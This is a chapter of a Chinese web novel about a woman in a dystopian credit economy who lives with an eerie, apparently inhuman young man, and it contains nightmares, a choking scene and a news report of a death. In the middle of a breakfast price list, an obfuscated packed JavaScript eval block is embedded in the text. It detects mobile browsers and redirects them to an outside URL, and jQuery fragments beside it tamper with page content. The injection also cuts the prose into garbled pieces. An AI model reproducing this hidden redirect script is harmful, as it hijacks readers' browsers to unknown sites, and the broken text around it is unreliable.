15. 第 15 章

作品:《如何驯化人外总裁

    赵清妍以为自己睡着了,可当她再次睁眼,却发现自己被困在一具陌生的身体里。


    一个男人的身体。


    被动感受着对方汹涌的恶意,脏话和咒骂不断从那张不属于她的嘴里蹦出,声音却像是隔着一层水膜,断断续续地传入耳中。


    “那婊子...害我...赔...个屁...”


    “报复...找人...打劫...”


    “搞死前...爽一爽...对,就这么...”


    赵清妍被迫“说”着恶毒的话,喉咙像是被掐住,恶心感翻涌而上,却连干呕都做不到。


    右手指尖很不舒服,又冷又黏。冷得像被冻住,黏得好像涂了胶水。


    “操他妈邪门!”又一声咒骂后,“她”猛地站起身,冲向黑暗中的另一扇门。门后是一个狭小的卫生间,洗手台斑驳发黄,墙上挂着一面镜子,却诡异地映不出任何人影。


    锈迹斑斑的水龙头被粗暴拧开,冰冷的水流哗哗冲刷着右手。


    清亮透明瞬间荡然无存,水变得浑浊而粘稠。水槽里的水位升高,粘稠地漫过边缘,无声地淌向地板。


    “我艹,这什么鬼!”


    越搓洗,那粘滞感不仅没消失,反而如活物般蔓延,从指尖到手掌,再到手腕。她拼命甩手,黏液却像被激怒般猛然反扑,瞬间裹住整条手臂。


    灭顶的惊恐将她淹没。她猛地收手,带着甩不掉的黏腻,冲出卫生间,却发现——


    门后已经沦为地狱。


    每一寸墙壁,地板,屋顶都被一层厚重的,蠕动的,不断膨胀的粘稠胶质所覆盖,整个空间成了粘液的汪洋。


    深度已经漫过了腰,黏液像无数贪婪的触手,死死缠住她的双腿,将她往更深处拖拽。


    “救!”嘴刚一张,黏液就鱼贯而入,没有液体的流动感,只有堵塞性的填充。


    鼻腔,食管,气管瞬间被堵死,肺叶疯狂收缩,却吸不进一丝空气。


    极度痛苦之中,“她”却不能呼救。


    这窒息,何其安静。


    下沉,下沉,沉入了粘稠的深渊。


    活活溺死在粘液中。


    !!!


    赵清妍猛地在沙发上弹坐起来。


    心脏疯了似地狂跳,肺叶火急火燎地扩张,贪婪地吸入冰冷而腥甜的空气。


    窗外,虚假的阳光穿过窄窄的窗帘缝隙,冰冷地切割了地板。光影交错间,灰尘如活物在飞舞。


    指尖。


    她神经质地搓捻着自己的指尖,干燥,起皮,冰凉。


    只是噩梦,过于真实的噩梦,喉咙里,口鼻中,似乎还残留着被黏液灌满的封堵感。


    窒息感还未褪尽,手背突然爆出刺眼蓝光:


    【通知】账户(尾号****)自动扣缴:环境管理费-150信用点。当前余额:1850信用点。


    “我艹!”咒骂脱口而出。


    一睁眼就扣款150,简直像生生从她胸口剜走一块肉!存款本就离一万差整整七千,现在好了,缺口更大了!


    再说了,这毒液一样的环境还需要管吗?!还有人在管吗?!


    气得手指狠狠插进发根,扯得头皮生疼,却压不住焦躁。时间明明不多了...葬礼日期像倒计时的秒针,一直在脑子里哒哒作响。


    “冷静,必须冷静。”


    深吸一口气,又一口,冰凉的空气灌入肺部,发热的头脑清醒了一丝丝。目光穿过飞舞的灰尘,落在对过的卧室门上。


    门锁的绿灯,那只独眼,依然一瞬不瞬地亮着。


    啊...家里还有邱玖。


    可不能再像上次那样忘记了!


    几乎是从沙发边缘弹起,双脚落地的瞬间甚至有些虚浮,猛冲到卧室门前,指尖往上一送。


    滴。


    绿灯熄灭的瞬间,一只手从门后探出,冰冷的手指扣住她小臂内侧。


    猛地一拽!


    “啊!”


    赵清妍短促的惊呼卡在喉咙里,下巴撞在一个胸膛上。不似温暖的□□,更像是一堵冰凉,僵硬的墙。


    一只手环住了她后颈,另一只手搭在她的后脑勺,将她完全圈禁在了一个没有温度的“怀抱”里。


    “嘘...There,there。”耳边响起一个清冷的声音,语调平直,像在播放录音,还是AI版本。


    轰!脑仁嗡地炸了,血液冲上头顶,浑身肌肉僵硬。


    她下意识向后一挣,那圈住她的手毫无留恋地抽离,像餍足的蛇丢弃已绞死的猎物。


    力量骤然消失的反作用力让她失去平衡,狼狈地向后踉跄了两步才勉强站稳。


    “这这这,这是...”她语无伦次,脸颊发烫,心脏狂跳,但比羞耻更强烈的是窜起的寒意。


    是她的错觉么?刚才那一瞬间的贴近,她分明没有感受到任何心跳。


    邱玖站在半明半暗处,晨光在他清秀的轮廓上镀了一层釉色,却照不进那双幽深的眼睛。他微微偏头,颈骨发出轻微的咔响,像某种精密仪器在调整角度。


    “赵姐姐,你昨天面试都没成吧?你不需要安慰吗?”


    明明是疑问的句式,语气中却是陈述的意味。


    “你怎么知道?!”赵清妍脱口而出,说完立刻捂住嘴,却捂不住从耳根一路烧到锁骨的热度。


    自爆了!


    邱玖嘴角弧度加深,眼眸却依旧无波,像两潭死水。“不然,”他慢条斯理地抬手,指尖轻轻点了点投影时钟,“你还没出门?”


    9:45。


    刺眼的数字悬浮在空中,仿佛在嘲笑她的窘迫。要是有班要上,七点前就该挤在早高峰的人流里了。


    “咕噜噜——!”肚子不合时宜地嚎了起来,她按住腹部,布料在指间皱成一团,脸颊红得发紫。


    在这个人面前,她就像透明的一样,仿佛连五脏六腑都暴露在外。


    “别想了,不过是面试失败而已,”邱玖忽然向前迈了一步,阴影笼罩下来,“你去洗漱,早餐我来。”没等她回应,人已经消失在厨房门后。


    赵清妍没有吭声,机械地完成洗漱,身上依旧是鬼压床般地酸痛发麻,洗脸的时候连弯腰都分外困难,只能岔开双腿才能勉强低头。


    这鬼压床也持续太多天了吧?到底啥时候能恢复正常?


    回到餐桌时,早餐已经摆好:冒热气的合成牛奶,焦黄的合成吐司片,边缘微卷的煎合成鸡蛋。


    还有一小碟深红色的昆虫酱,浓稠得像凝固的血。


    桌对面,邱玖用餐刀划开煎蛋,金属与瓷盘相碰发出脆响。赵清妍给吐司涂抹酱料,深红色的酱汁在刀面上拖出粘稠的痕迹。


    沉默像乌云过境,将两人压制在各自的座位上。


    好尴尬。


    她该说点什么吗?可要说点啥呢?


    “昨晚睡得好吗?”


    太虚伪。


    “今天的煎蛋不错。”


    更假。


    刚才拥抱的寒意还像冰霜残留在她的肩膀和后背上,带来细微却尖锐的麻意,不自觉地耸了耸肩,却甩不掉那种异样感。


    她盯着餐盘边缘的反光,决定保持沉默。


    急着就业的她,实在没心思应付这些。


    目光扫过餐桌,大脑自动启动精算模式:


    两个鸡蛋:


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17254828|197832||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    12信用点


    两片吐司:10信用点


    昆虫酱:10信用点


    牛奶一瓶:30信用点。


    总计:52信用点。这还不算电费水费。


    钱,钱,钱,全是钱!身边的一切,都写满了钱!


    还有午餐,晚餐,明天的三餐,后天,大后天...以及强制缴纳的各种金。


    而只要失业,收入将保持肉痛的0!


    只出不进,目标的一万,正在变成遥不可及的天文数字。


    胃里空空,却堵得慌,


    恍惚间,脑海中子琛的身影也越来越遥远,似乎预示着一个未来。


    一个她无法见他最后一面,无法得知真相的未来。


    她不能接受这个未来!


    钱!必须弄到钱!快吃,吃完赶紧投简历!


    她猛地咬下一大口吐司,粘稠的酱汁和干燥的碎屑瞬间糊满口腔。


    嗤——


    投影电视猝然亮起,幽冷的蓝光流满了桌面。


    AI主持人的声音毫无感情地打破了死寂。


    【本地简讯,临江工业区边缘,本市市民张某(化名),被发现于其所经营的维修公司仓库内死亡。】


    画面切换,黄色警戒线横亘在仓库门口。几个穿着臃肿防护服的身影,像幽灵矗立。仓库内景一闪而过,一个被白布覆盖的人形轮廓,躺在地上,旁边还有几个反着光的取证标记牌。


    【案件仍在调查中。警方初步排除他杀可能性...】


    轰!脑仁嗡地炸了。


    赵清妍瞳孔皱缩。那门,那仓库...她没看错吧?


    这不正是她昨天面试的地方吗?就在昨晚,那里死人了?!


    死的是谁?是老周,是阿彪,还是昨天那个面试她的老板?


    脑子还在震惊之中,吐司顺着喉咙兀自往下。


    然后,卡住了。


    剩余的吐司啪一声掉在碟子上,无形绳索瞬间勒紧脖颈。她徒劳地张大嘴,却吸不进一丝空气,脸迅速涨红,眼泪不受控制地飙出。


    慌乱中,她去抓水杯。


    “啪嚓!”


    玻璃杯翻倒,牛奶泼了一桌,白花花一片。


    那粘稠的白在她眼中却泛起黑色。


    要窒息了!


    就在这时,另一杯牛奶被推到了她手边。


    她一把抄起,仰头猛灌。


    “咕咚…咕咚…”那杯牛奶冷得刺痛指尖,冰水像刀冲下喉咙。


    她痉挛着吞咽,喉咙深处堪堪抢进一口气。


    但还不够!吐司扔固执地卡着。


    第二杯牛奶及时被推了过来,她一饮而尽。紧接着是第三杯,她看也没看,再次仰头,大口喝下。


    冰水入喉,胃里传来沉坠感,食道忽地就通了。空气如同开闸的洪水,涌入肺腔。她瘫软在椅背上,胸脯快速起伏,眼前金星乱闪。


    差,差点就去见上帝了!死后大抵会成为街坊邻居的茶余饭后的笑话之一:


    妙龄女子吃早饭时,被合成吐司片活活噎死。


    甚至这吐司片的牌子还会因此得到一波宣传,带动一波销量。


    死前虽然赚不到钱,但死后帮资本赚到了钱,可喜可贺!


    冰牛奶的寒气,还黏在发抖的指尖上,缺氧的大脑如同蒙尘的玻璃,渐渐被擦亮。


    等等——


    桌上不是就两杯牛奶吗?一杯她打翻了,一杯原本是邱玖的。


    她看向手中的空杯,杯壁上没有挂一滴液珠,光洁得诡异,仿佛从未盛过任何东西。


    这,这第三杯是...


    是什么鬼液体??!!